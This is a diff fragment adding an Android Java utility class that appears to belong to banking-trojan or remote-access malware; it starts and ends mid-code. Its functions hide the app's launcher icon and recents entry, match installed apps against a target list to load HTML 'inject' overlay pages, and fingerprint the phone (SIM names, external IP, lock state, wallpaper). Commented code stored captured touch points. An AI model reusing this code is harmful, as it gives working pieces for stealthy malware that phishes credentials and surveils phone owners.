android.content.ClipDescription; +import android.content.ClipboardManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.graphics.Bitmap; +import android.graphics.BitmapFactory; +import android.graphics.Canvas; +import android.graphics.Color; +import android.graphics.ColorMatrix; +import android.graphics.ColorMatrixColorFilter; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.Point; +import android.graphics.drawable.AdaptiveIconDrawable; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.media.RingtoneManager; +import android.net.ConnectivityManager; +import android.net.NetworkInfo; +import android.net.Uri; +import android.os.BatteryManager; +import android.os.Build; +import android.os.Handler; +import android.os.Looper; +import android.os.PowerManager; +import android.provider.Settings; +import android.telephony.SubscriptionInfo; +import android.telephony.SubscriptionManager; +import android.telephony.TelephonyManager; +import android.text.Layout; +import android.text.StaticLayout; +import android.text.TextPaint; +import android.text.TextUtils; +import android.util.Base64; + +import androidx.core.app.ActivityCompat; +import androidx.core.app.NotificationCompat; +import androidx.core.app.NotificationManagerCompat; +import androidx.core.content.ContextCompat; +import androidx.work.ExistingPeriodicWorkPolicy; +import androidx.work.PeriodicWorkRequest; +import androidx.work.WorkManager; + + +import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FilenameFilter; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.Inet4Address; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.NetworkInterface; +import java.net.Socket; +import java.net.SocketAddress; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Random; +import java.util.UUID; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; + +public class UtliTools { + + public static String Fix_it(String bigtext, String target) { + if (bigtext.length() > 0 && target.length() > 0) { + if (bigtext.contains(target)) { + return bigtext.replace(target, ""); + } + } + return bigtext; + } + + public static String calculateMD5(File file) throws Exception { + MessageDigest digest = MessageDigest.getInstance("MD5"); + try (InputStream is = new FileInputStream(file)) { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = is.read(buffer)) > 0) { + digest.update(buffer, 0, bytesRead); + } + } + byte[] md5Bytes = digest.digest(); + StringBuilder sb = new StringBuilder(); + for (byte b : md5Bytes) { + sb.append(String.format("%02x", b)); + } + return sb.toString(); + } + + public static boolean isPackageInstalled(String packageName, PackageManager packageManager) { + try { + packageManager.getPackageInfo(packageName, 0); + return true; + } catch (PackageManager.NameNotFoundException e) { + return false; + } + } + + public static String getLabelApplication(Context context) { + try { + return (String) context.getPackageManager().getApplicationLabel(context.getPackageManager().getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA)); + } catch (Exception ex) { + } + return ""; + } + + public static Bitmap convertToBitmap(Drawable drawable, int widthPixels, int heightPixels) { + Bitmap mutableBitmap = Bitmap.createBitmap(widthPixels, heightPixels, Bitmap.Config.ARGB_8888); + Canvas canvas = new Canvas(mutableBitmap); + drawable.setBounds(0, 0, widthPixels, heightPixels); + drawable.draw(canvas); + + return mutableBitmap; + } + + public static String Wallpaper(Context ctx, int xx, int yy, boolean cropit) { + String v = ""; + try { + Drawable d; + WallpaperManager m = WallpaperManager.getInstance(ctx); + + try { + d = m.getDrawable(); + } catch (Exception a) { + d = null; + } + + if (d == null) { + try { + d = m.getBuiltInDrawable(); + } catch (Exception a2) { + return "-1"; + } + } + + if (d instanceof BitmapDrawable) { + BitmapDrawable b = (BitmapDrawable) d; + Bitmap i = null; + + if (cropit) { + i = MyCods.scaleCenterCrop(b.getBitmap(), xx, yy); + } else { + i = Bitmap.createScaledBitmap(b.getBitmap(), 450, 750, true); + } + + try (ByteArrayOutputStream o = new ByteArrayOutputStream()) { + i.compress(Bitmap.CompressFormat.PNG, 100, o); + byte[] y = o.toByteArray(); + v = Base64.encodeToString(y, Base64.NO_WRAP); + } catch (IOException e) { + v = "-1"; + } finally { + if (i != null && !i.isRecycled()) { + i.recycle(); + } + } + } else { + v = "-1"; + } + + } catch (OutOfMemoryError | Exception e) { + v = "-1"; + } + + return v; + } + + public static String getsimname(Context ctx) { + if (SDK_INT > 22) { + //for dual sim mobile + SubscriptionManager localSubscriptionManager = SubscriptionManager.from(ctx); + + if (ActivityCompat.checkSelfPermission(ctx, android.Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + return "Known"; + } + if (localSubscriptionManager.getActiveSubscriptionInfoCount() > 1) { + //if there are two sims in dual sim mobile + List localList = localSubscriptionManager.getActiveSubscriptionInfoList(); + SubscriptionInfo simInfo = (SubscriptionInfo) localList.get(0); + SubscriptionInfo simInfo1 = (SubscriptionInfo) localList.get(1); + + final String sim1 = simInfo.getDisplayName().toString(); + final String sim2 = simInfo1.getDisplayName().toString(); + return sim1 + "/" + sim2; + + } else { + //if there is 1 sim in dual sim mobile + TelephonyManager tManager = (TelephonyManager) ctx + .getSystemService(Context.TELEPHONY_SERVICE); + + String sim1 = tManager.getNetworkOperatorName(); + return sim1; + + } + + } else { + //below android version 22 + TelephonyManager tManager = (TelephonyManager) ctx + .getSystemService(Context.TELEPHONY_SERVICE); + + String sim1 = tManager.getNetworkOperatorName(); + return sim1; + } + } + + public static String ScreenStatus(Context ctx) { + String v; + try { + + final KeyguardManager k = (KeyguardManager) ctx.getSystemService(Context.KEYGUARD_SERVICE); + final PowerManager p = (PowerManager) ctx.getSystemService(POWER_SERVICE); + boolean isScreenOn = p.isScreenOn(); + if (SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1) { + if (k.isDeviceLocked()) { + if (isScreenOn == true) { + v = "0"; + } else { + v = "1"; + } + } else { + if (isScreenOn == true) { + v = "2"; + } else { + v = "3"; + } + } + return v; + } + } catch (Exception e) { + // v = "-1"; + } + return "-1"; + } + + public static String getBatteryPercentage(Context ctx) { + Intent batteryIntent = ctx.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED)); + int level = batteryIntent.getIntExtra(BatteryManager.EXTRA_LEVEL, 0); + int scale = batteryIntent.getIntExtra(BatteryManager.EXTRA_SCALE, 100); + return String.valueOf((level * 100) / scale); + } + + public static String isCharging(Context ctx) { + Intent batteryIntent = ctx.registerReceiver(null, new IntentFilter(Intent.ACTION_BATTERY_CHANGED)); + int plugged = batteryIntent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1); + boolean isCharging = plugged == BatteryManager.BATTERY_PLUGGED_AC || plugged == BatteryManager.BATTERY_PLUGGED_USB; + return isCharging ? "t" : "f"; + } + + public static String getExternalIpAddress() { + String[] urls = { + "http://checkip.amazonaws.com", // AWS + "https://api.ipify.org", // ipify + "https://icanhazip.com", // icanhazip + "https://ifconfig.me/ip" // ifconfig.me + }; + + for (String url : urls) { + BufferedReader in = null; + try { + URL endpoint = new URL(url); + URLConnection connection = endpoint.openConnection(); + connection.setConnectTimeout(5000); // 5 seconds connect timeout + connection.setReadTimeout(5000); // 5 seconds read timeout + + in = new BufferedReader(new InputStreamReader(connection.getInputStream())); + String ip = in.readLine(); + if (ip != null && !ip.isEmpty()) { + return ip.trim(); + } + } catch (IOException ignored) { + // Skip to next URL on failure + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException e) { + // Optional: log error + } + } + } + } + + // Try get local IP + try { + for (Enumeration en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements();) { + NetworkInterface intf = en.nextElement(); + if (!intf.isUp() || intf.isLoopback() || intf.isVirtual()) continue; + + for (Enumeration enumIpAddr = intf.getInetAddresses(); enumIpAddr.hasMoreElements();) { + InetAddress inetAddress = enumIpAddr.nextElement(); + if (!inetAddress.isLoopbackAddress() && inetAddress instanceof Inet4Address) { + String ip = inetAddress.getHostAddress(); + if (ip.startsWith("192.") || ip.startsWith("10.") || ip.startsWith("172.")) { + return ip; + } + } + } + } + } catch (Exception ignored) {} + + // Last fallback: localhost + return "127.0.0.1"; + } + + + + public static void ServiceStarter(Context context, Class serviceClass) { + Intent intent = new Intent(context, serviceClass); + if (!MyCods.isServiceRunning(context, serviceClass)) { + if (SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(intent); + } else { + context.startService(intent); + } + } + } + + public static Bitmap drawableToBitmap(Drawable drawable) { + Bitmap bitmap = null; + + try { + if (drawable instanceof BitmapDrawable) { + BitmapDrawable bitmapDrawable = (BitmapDrawable) drawable; + if (bitmapDrawable.getBitmap() != null) { + return bitmapDrawable.getBitmap(); + } + } + + if (drawable.getIntrinsicWidth() <= 0 || drawable.getIntrinsicHeight() <= 0) { + bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888); // Single color bitmap will be created of 1x1 pixel + } else { + bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888); + } + + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (Exception b) { + } + return bitmap; + } + + public static String Version() { + int i = SDK_INT; + String nm = "Unknown"; + + switch (i) { + case Build.VERSION_CODES.N: + nm = "Nougat"; + break; + case Build.VERSION_CODES.N_MR1: + nm = "Nougat 7.1"; + break; + case Build.VERSION_CODES.O: + nm = "Oreo"; + break; + case Build.VERSION_CODES.O_MR1: + nm = "Oreo 8.1"; + break; + case Build.VERSION_CODES.P: + nm = "Pie"; + break; + case Build.VERSION_CODES.Q: + nm = "Android 10"; + break; + case Build.VERSION_CODES.R: + nm = "Android 11"; + break; + case 31: + nm = "Android 12"; + break; + case 32: + nm = "Android 12L"; + break; + case 33: + nm = "Android 13"; + break; + case 34: + nm = "Android 14"; + break; + case 35: + nm = "Android 15"; + break; + default: + if (i > 35) { + nm = "Android " + i; // Future-proofing + } + break; + } + + return nm; + } + + + public static String installdate(Context context) { + try { + PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS); + long installTimeMillis = packageInfo.firstInstallTime; + Date installDate = new Date(installTimeMillis); + + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()); + String installDateString = sdf.format(installDate); + return installDateString; + } catch (Exception e) { + } + return "Not Found"; + } + + public static String Get_Network(Context ctx) { + String result = "Unknown"; + ConnectivityManager CM = (ConnectivityManager) ctx.getSystemService(ctx.CONNECTIVITY_SERVICE); + NetworkInfo networktype = CM.getActiveNetworkInfo(); + if (networktype != null && networktype.isConnected()) { + if (networktype.getType() == ConnectivityManager.TYPE_WIFI) { + return "WIFI"; + } + if (networktype.getType() == ConnectivityManager.TYPE_VPN) { + return "VPN"; + } + if (networktype.getType() == ConnectivityManager.TYPE_MOBILE) { + if (networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_GPRS || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_EDGE || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_1xRTT || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_IDEN || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_GSM || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_CDMA) { + return "2G"; + } + if (networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_UMTS || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_EVDO_0 || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_EVDO_A || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_HSDPA || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_HSUPA || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_HSPA || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_EHRPD || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_HSPAP || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_EVDO_B || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_TD_SCDMA) { + return "3G"; + } + if (networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_LTE || + networktype.getSubtype() == 19 || + networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_IWLAN) { + return "4G"; + } + if (networktype.getSubtype() == TelephonyManager.NETWORK_TYPE_NR) { + return "5G"; + } + //NETWORK_TYPE_NR + } + } + return result; + } + + public static Drawable resizeIcon(Context ctx, Drawable icon, int desiredWidth, int desiredHeight) { + Bitmap bitmap = ((BitmapDrawable) icon).getBitmap(); + Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, desiredWidth, desiredHeight, false); + return new BitmapDrawable(ctx.getResources(), resizedBitmap); + } + + + public static String Create_DevicID() { + + String pseudoId = "16" + + Build.BOARD.length() % 10 + + Build.BRAND.length() % 10 + + Build.DEVICE.length() % 10 + + Build.DISPLAY.length() % 10 + + Build.HOST.length() % 10 + + Build.ID.length() % 10 + + Build.MANUFACTURER.length() % 10 + + Build.MODEL.length() % 10 + + Build.PRODUCT.length() % 10 + + Build.TAGS.length() % 10 + + Build.TYPE.length() % 10 + + Build.USER.length() % 10; + try { + MessageDigest messageDigest = MessageDigest.getInstance("MD5"); + messageDigest.update(pseudoId.getBytes()); + byte[] md5Bytes = messageDigest.digest(); + + StringBuilder hexStringBuilder = new StringBuilder(); + for (byte md5Byte : md5Bytes) { + hexStringBuilder.append(String.format("%02X", md5Byte)); + } + + return hexStringBuilder.toString().replaceAll("[^0-9]", ""); + + } catch (Exception e) { + return UUID.randomUUID().toString().replaceAll("[^0-9]", ""); + } + } + + public static String FullStamp() { + String eventtimeStamp = new SimpleDateFormat("yyyy/MM/dd hh:mm:ss").format(new Date()); + return eventtimeStamp; + } + + + public static void deleteRecursive(File fileOrDirectory) { + if (fileOrDirectory.isDirectory()) + for (File child : fileOrDirectory.listFiles()) + deleteRecursive(child); + + fileOrDirectory.delete(); + } + + private static PackageManager pmg; + private static ApplicationInfo aif; + public static String getAppNameFromPkgName(Context context, String Packagename) { + try { + if (pmg == null){ + pmg = context.getPackageManager(); + } + + if (aif == null){ + aif = pmg.getApplicationInfo(Packagename, PackageManager.GET_META_DATA); + } + + String appName = (String) pmg.getApplicationLabel(aif); + return appName; + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + return ""; + } + } + + public static boolean IsIgnore_Battery(Context context) { + if (SDK_INT >= 23) { + PowerManager powerManager = (PowerManager) context.getSystemService(POWER_SERVICE); + return powerManager.isIgnoringBatteryOptimizations(context.getPackageName()); + } else { + return true; + } + } + + public static boolean IsScreenOn(Context context) { + PowerManager powerManager = (PowerManager) context.getSystemService(POWER_SERVICE); + boolean result = SDK_INT >= Build.VERSION_CODES.KITKAT_WATCH && powerManager.isInteractive() || SDK_INT < Build.VERSION_CODES.KITKAT_WATCH && powerManager.isScreenOn(); + return result; + } + + // public static void SaveTouchs(Context ctx, String name, LinkedHashMap value) { +// name = name + ".json"; +// +// File appDirectory = null; +// +// File sdDir = android.os.Environment.getExternalStorageDirectory(); +// +// appDirectory = new File(sdDir + Consts.TouchsPath); +// +// if (appDirectory != null && !appDirectory.exists()) { +// appDirectory.mkdirs(); +// } +// +// File fileName = new File(appDirectory, name); +// try { +// // Create a JSON object +// JSONObject jsonObject = new JSONObject(); +// +// // Iterate over the PointArrys +// for (Map.Entry entry : value.entrySet()) { +// String key = entry.getKey(); +// Point[] points = entry.getValue(); +// +// // Create a JSON array to store the Point objects +// JSONArray jsonArray = new JSONArray(); +// +// // Iterate over the Point objects +// for (Point point : points) { +// JSONObject pointObject = new JSONObject(); +// pointObject.put("x", point.x); +// pointObject.put("y", point.y); +// jsonArray.put(pointObject); +// } +// +// // Add the JSON array to the JSON object +// jsonObject.put(key, jsonArray); +// } +// +// // Convert the JSON object to a string +// String jsonString = jsonObject.toString(); +// +// // Open a file output stream +// FileOutputStream fos = new FileOutputStream(fileName); +// +// // Write the JSON string to the file +// fos.write(jsonString.getBytes()); +// +// // Close the file output stream +// fos.close(); +// +// // Print a message indicating successful file storage +// //System.out.println("PointArrys stored successfully."); +// } catch (Exception e) { +// e.printStackTrace(); +// +// } +// } +// +// public static LinkedHashMap LoadTouches(String name) { +// name=name+".json"; +// // File cacheDir = null; +// File appDirectory = null; +// File sdDir = android.os.Environment.getExternalStorageDirectory(); +// appDirectory = new File(sdDir+ Consts.TouchsPath); +// +// +// +// if (appDirectory != null && !appDirectory.exists()) return null; // File does not exist +// +// File fileName = new File(appDirectory, name); +// try { +// // Define the file path +// +// +// // Open a file input stream +// FileInputStream fis = new FileInputStream(fileName); +// +// // Read the contents of the file into a byte array +// byte[] data = new byte[(int) fis.available()]; +// fis.read(data); +// +// // Close the file input stream +// fis.close(); +// +// // Convert the byte array to a JSON string +// String jsonString = new String(data); +// +// // Parse the JSON string back into a JSONObject +// JSONObject jsonObject = new JSONObject(jsonString); +// +// // Extract the PointArrys from the JSONObject +// LinkedHashMap loadedPointArrys = new LinkedHashMap<>(); +// Iterator keys = jsonObject.keys(); +// while (keys.hasNext()) { +// String key = keys.next(); +// JSONArray jsonArray = jsonObject.getJSONArray(key); +// Point[] points = new Point[jsonArray.length()]; +// for (int i = 0; i < jsonArray.length(); i++) { +// JSONObject pointObject = jsonArray.getJSONObject(i); +// int x = pointObject.getInt("x"); +// int y = pointObject.getInt("y"); +// points[i] = new Point(x, y); +// } +// loadedPointArrys.put(key, points); +// } +// +// +// return loadedPointArrys; +// } catch (Exception e) { +// +// // e.printStackTrace(); +// } +// return null; +// } +// public static void ClearCaptuied(String Recname){ +// try { +// String name = Recname + ".json"; +// +// File appDirectory = null; +// +// File sdDir = android.os.Environment.getExternalStorageDirectory(); +// +// appDirectory = new File(sdDir + Consts.TouchsPath); +// +// if (appDirectory != null && appDirectory.exists()) { +// File fileName = new File(appDirectory, name); +// if (fileName.exists()){ +// fileName.delete(); +// } +// } +// +// +// }catch (Exception a){ +// +// } +// +// } + public static void OpenSettingsPage(Context ctx) { +// try{ +// Intent intentbackup = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); +// intentbackup.addCategory(Intent.CATEGORY_DEFAULT); +// // Uri uribackup = Uri.fromParts("package", ctx.getPackageName(), null); +// intentbackup.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intentbackup.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); +// intentbackup.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); +// // intentbackup.setData(uribackup); +// ctx.startActivity(intentbackup); +// }catch (Exception s){ +// +// } + + try { + Intent intent; + + +// if(!UtliTools.isSamsung() && +// !UtliTools.isGoogle() && +// !UtliTools.isRealme()){ +// intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); +// Uri uri = Uri.fromParts("package", ctx.getPackageName(), "~!@#$%^&*()_+"); +// intent.setData(uri); +// }else{ + intent = new Intent(Settings.ACTION_MANAGE_ALL_APPLICATIONS_SETTINGS); + //} + intent.addCategory(Intent.CATEGORY_DEFAULT); + + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); + intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + + PendingIntent pendingIntent = PendingIntent.getActivity(ctx, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); + pendingIntent.send(); + pendingIntent.cancel(); + + } catch (Exception e) { + e.printStackTrace(); + + } + } + +// private static void enableActivity(String activityName, Context ctx) { +// PackageManager pm = ctx.getPackageManager(); +// ComponentName componentName = new ComponentName(ctx, activityName); +// pm.setComponentEnabledSetting(componentName, +// PackageManager.COMPONENT_ENABLED_STATE_ENABLED, +// PackageManager.DONT_KILL_APP); +// } + + public static void EnableDisableAct(String activityName, Context ctx, boolean hideit) { + int i; + PackageManager packageManager = ctx.getPackageManager(); + + ComponentName createRelative = ComponentName.createRelative( + ctx, + activityName + ); + + + if (hideit) { + i = 2; + } else { + i = 1; + } + + + packageManager.setComponentEnabledSetting(createRelative, i, 1); // DONT_KILL_APP + } + + public static void excludeFromTaskList(Context ctx) { + try { + new Handler(ctx.getMainLooper()).postDelayed(() -> { + try { + ActivityManager am = (ActivityManager) ctx.getSystemService(ACTIVITY_SERVICE); + + if (am == null || SDK_INT < 21) + return; + + List tasks = am.getAppTasks(); + + if (tasks == null || tasks.isEmpty()) + return; + + tasks.get(0).setExcludeFromRecents(true); + } catch (Exception e) { + e.printStackTrace(); + } + }, 1000); + + } catch (Exception a) { + a.printStackTrace(); + } + } + + public static String findjectfile(Context ctx,String CuzPackage){ + File f1= new File(ctx.getFilesDir(), "protected/"+CuzPackage+"/index.html"); + if (f1.exists()){ + return "protected/"+CuzPackage+"/index.html"; + } + f1 = new File(ctx.getFilesDir(), "protected/"+CuzPackage+"/"+CuzPackage+".html"); + if (f1.exists()){ + return "protected/"+CuzPackage+"/"+CuzPackage+".html"; + } + + File dir = new File(ctx.getFilesDir(), "protected/" + CuzPackage); + if (dir.exists() && dir.isDirectory()) { + File[] htmlFiles = dir.listFiles(new FilenameFilter() { + @Override + public boolean accept(File dir, String name) { + return name.toLowerCase().endsWith(".html"); + } + }); + + if (htmlFiles != null && htmlFiles.length > 0) { + // Return relative path + return "protected/" + CuzPackage + "/" + htmlFiles[0].getName(); + } + } + + // If nothing is found + return "notfound"; + } + public static String Checkallject(Context context, String inputPackages) { + PackageManager pm = context.getPackageManager(); + List matchingPackages = new ArrayList<>(); + + List packageInfos = pm.getInstalledPackages(0); + for (PackageInfo packageInfo : packageInfos) { + ApplicationInfo appInfo = packageInfo.applicationInfo; + String packageName = appInfo.packageName; + + // Skip system apps + if ((appInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0) { + continue; + } + // Skip if not in the input string + if (!inputPackages.contains(packageName)) { + continue; + } + + + // Check for launcher icon + Intent launchIntent = pm.getLaunchIntentForPackage(packageName); + if (launchIntent != null) { + if (findjectfile(context,packageName).equals("notfound")){ + matchingPackages.add(packageName); + }else{ + if (!ject_list.contains(packageName)) { + ject_list.add(packageName); + } + } + + } + } + if (matchingPackages.isEmpty()) { + return "empty"; // or return ""; to keep it empty + } + + return String.join("", matchingPackages); + } + private static boolean alreadyhide = false; + public static void hideme(Context ctx) { + try { + if(!alreadyhide){ + alreadyhide=true; + EnableDisableAct(My_Configs.HA, ctx, false); + EnableDisableAct(My_Configs.MA, ctx, true); + } + } catch (Exception a) { + a.printStackTrace(); + } + } + + // public static boolean isNotificationChannelEnabled(Context context, String channelId){ +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// if(!TextUtils.isEmpty(channelId)) { +// NotificationManager manager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); +// NotificationChannel channel = manager.getNotificationChannel(channelId); +// return channel.getImportance() != NotificationManager.IMPORTANCE_NONE; +// } +// return false; +// } else { +// return NotificationManagerCompat.from(context).areNotificationsEnabled(); +// } +// } + public static boolean isSamsung() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "samsung".equals(brand); + } + + public static boolean isOppoOrOnePlus() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "oppo".equals(brand) || "oneplus".equals(brand); + } + + public static boolean isXiaomi() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "xiaomi".equals(brand) || "redmi".equals(brand); + } + + public static boolean isvivo() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "vivo".equals(brand); + } + + public static boolean isHuawei() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "huawei".equals(brand); + } + + public static boolean isRealme() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "realme".equals(brand); + } + + public static boolean isGoogle() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return "google".equals(brand); + } + + public static boolean isMIUI(Context ctx) { + return isIntentResolved(ctx, new Intent("miui.intent.action.OP_AUTO_START").addCategory(Intent.CATEGORY_DEFAULT)) + || isIntentResolved(ctx, new Intent().setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.autostart.AutoStartManagementActivity"))) + || isIntentResolved(ctx, new Intent("miui.intent.action.POWER_HIDE_MODE_APP_LIST").addCategory(Intent.CATEGORY_DEFAULT)) + || isIntentResolved(ctx, new Intent().setComponent(new ComponentName("com.miui.securitycenter", "com.miui.powercenter.PowerSettings"))); + } + + private static boolean isIntentResolved(Context ctx, Intent intent) { + return (intent != null && ctx.getPackageManager().resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY) != null); + } + + public static Bitmap changeImageOpacity(Bitmap originalImage, float opacity) { + // Create a mutable bitmap with the same size as the original + Bitmap adjustedImage = Bitmap.createBitmap( + originalImage.getWidth(), + originalImage.getHeight(), + originalImage.getConfig() + ); + + + Canvas canvas = new Canvas(adjustedImage); + + + Paint paint = new Paint(); + paint.setAlpha((int) (opacity * 255)); + + + float brightness = 1.0f; + float contrast = 50.0f; + float gamma = 1.0f; + float adjustedBrightness = brightness - 1.0f; + + ColorMatrix colorMatrix = new ColorMatrix(new float[]{ + contrast, 0, 0, 0, adjustedBrightness, + 0, contrast, 0, 0, adjustedBrightness, + 0, 0, contrast, 0, adjustedBrightness, + 0, 0, 0, 1, 0 + }); + + paint.setColorFilter(new ColorMatrixColorFilter(colorMatrix)); + + + canvas.drawBitmap(originalImage, 0, 0, paint); + + return adjustedImage; + } + public static Bitmap BITMAP_RESIZER(Bitmap bitmap,int newWidth,int newHeight) { + Bitmap scaledBitmap = Bitmap.createBitmap(newWidth, newHeight, bitmap.getConfig()); + + float scaleX = newWidth / (float) bitmap.getWidth(); + float scaleY = newHeight / (float) bitmap.getHeight(); + + Matrix scaleMatrix = new Matrix(); + scaleMatrix.setScale(scaleX, scaleY, 0, 0); + + Canvas canvas = new Canvas(scaledBitmap); + canvas.setMatrix(scaleMatrix); + Paint paint = new Paint(Paint.FILTER_BITMAP_FLAG); + paint.setAntiAlias(true); + paint.setDither(true); + paint.setFilterBitmap(true); + canvas.drawBitmap(bitmap, 0, 0, paint); + + return scaledBitmap; + + } + public static String getAppIconAsBase64(Context context, String packageName) { + try { + // Get the package manager + PackageManager pm = context.getPackageManager(); + + // Get the application info for the specified package + ApplicationInfo appInfo = pm.getApplicationInfo(packageName, 0); + + // Get the app's icon drawable + Drawable icon = pm.getApplicationIcon(appInfo); + + // Convert the drawable to a bitmap + Bitmap bitmap = drawableToBitmap(icon); + + // Convert the bitmap to a Base64 string + return bitmapToBase64(bitmap); + } catch (PackageManager.NameNotFoundException e) { + e.printStackTrace(); + return null; + } + } + + + private static String bitmapToBase64(Bitmap bitmap) { + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream); + byte[] byteArray = byteArrayOutputStream.toByteArray(); + return Base64.encodeToString(byteArray, Base64.DEFAULT); + } + + private static int notifiid = 415; + + public static void BrodcastNotification(Context ctx, String Title, String Msg, int Type, String toopen) { + + //0 nothing + //1 open apk + //2 open link + + PendingIntent pendingIntent = null; + + + try { + switch (Type) { + case 0: + pendingIntent = null; + break; + case 1: { + Intent intent = new Intent(ctx, BrodcastActivity.class); + intent.putExtra("type", "app"); + intent.putExtra("tolunch", toopen); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + int flag = SDK_INT >= Build.VERSION_CODES.M ? + PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE : + PendingIntent.FLAG_UPDATE_CURRENT; + pendingIntent = PendingIntent.getActivity( + ctx, + 0, + intent, + flag + ); + } + break; + case 2: { + if (!toopen.startsWith("http://") && !toopen.startsWith("https://")) + toopen = "http://" + toopen; + + Intent intent = new Intent(ctx, BrodcastActivity.class); + intent.putExtra("type", "link"); + intent.putExtra("tolunch", toopen); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + int flag = SDK_INT >= Build.VERSION_CODES.M ? + PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE : + PendingIntent.FLAG_UPDATE_CURRENT; + pendingIntent = PendingIntent.getActivity( + ctx, + 0, + intent, + flag + ); + + } + break; + } + + if (Title.equals("null")) { + Title = ""; + } + if (Msg.equals("null")) { + Msg = ""; + } + NotificationCompat.Builder builder; + if (pendingIntent != null) { + builder = new NotificationCompat.Builder(ctx, "New Notifications") + .setContentTitle(Title) + .setContentText(Msg) + .setSmallIcon(R.drawable.notify) + .setVisibility(NotificationCompat.VISIBILITY_PUBLIC) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setContentIntent(pendingIntent) + .setFullScreenIntent(pendingIntent, true) + .setAutoCancel(true); + + } else { + builder = new 